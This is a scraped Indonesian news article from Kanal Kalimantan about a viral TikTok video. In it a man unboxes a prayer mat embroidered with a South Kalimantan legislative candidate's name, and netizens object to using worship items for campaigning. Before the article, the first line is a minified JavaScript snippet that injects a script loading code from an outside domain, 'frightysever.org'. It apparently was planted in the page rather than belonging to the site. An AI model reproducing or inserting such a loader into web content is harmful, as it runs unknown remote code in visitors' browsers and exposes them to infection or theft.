(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Postingan video yang memperlihatkan seorang lelaki sedang membuka kemasan alias unboxing sebuah sajadah yang digunakan untuk ibadah shalat menjadi viral di media sosial.
Pada postingan akun tik tok @msetiawantono, lelaki berkacamata itu memperlihatkan sebuah sajadah berwarna hitam putih dan terdapat tulisan tidak biasa di atasnya.
Di sajadah itu bertuliskan salah satu nama calon anggota legislatif DPRD Provinsi Kalimantan Selatan dengan cara dibordir yang menyatu pada sajadah. Posisi tulisannya tepat menempel di posisi kening ketika dibuat untuk sujud saat shalat.
Baca juga:Â Kebutuhan Pokok Melonjak di Pasar Martapura, Ini Daftar Harganya
Namun, si perekam video tidak menyebutkan nama caleg yang bersangkutan dan nama partainya.
“Jadi ini sajadah yang mana ketika kita shalat dan mau sujud itu mata kita harus mandang ke sini, dimana kalau misalnya kita baca Al Fatihah tiba-tiba Calon Anggota DPRD Provinsi Kalimantan Selatan,” kata lelaki sambil memperlihatkan tulisan yang sebagian ditutup dengan jari tangannya.
Ia menilai cara Caleg yang menjadikan sajadah sebagai alat kampanye adalah perbuatan yang tidak tepat untuk dilakukan, sebab menurutnya cukup mengganggu konsentrasi saat shalat.
Baca juga:Â ‘Polusi’ Pemandangan Baliho Bacaleg, Bawaslu Banjarmasin Tak Bisa Tertibkan
“Jadi mohon untuk bapak-bapak caleg diluar sana agar lebih selektif memilih barang untuk kampanye,” ujarnya.
“Gak jelek sih, tapi kurang tepat,” tutupnya.
Video yang berdurasi 47 detik dan diposting pada Sabtu (27/8/2023) itu telah mendapat like serta komentar ribuan dari netijen. Video juga telah tersebar ke media sosial lain seperti Instagram.
Baca juga:Â Karnaval Tujuhbelasan Warga Desa Pematang Benteng
Netizen banyak yang tidak setuju terhadap perbuatan salah satu Caleg di Kalsel yang melakukan perkenalan diri tidak pada tempatnya tersebut. Apalagi proses Pemilu saat ini belum masuk pada tahapan kampanye.
“Ketika tempat untuk beribadah dipakai sebagai alat untuk berpolitik kampaye,” tulis @m.fajrin***.
“Apakah tidak ada peraturan dari KPU dan Bawaslu untuk media kampanye? Sampai-sampai sajadah untuk shalat pun digunakan media kampanye, jika dibiarkan akan semakin merajalela,” tulis aldyaramadhan***.
Bahkan banyak juga netizen yang merespon video unboxing sajadah Caleg itu dengan kata-kata menohok.
“Masih menunggu buku yasin ada nama caleg,” celetuk @ilman_tau***. (Kanalkalimantan com/rizki)
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.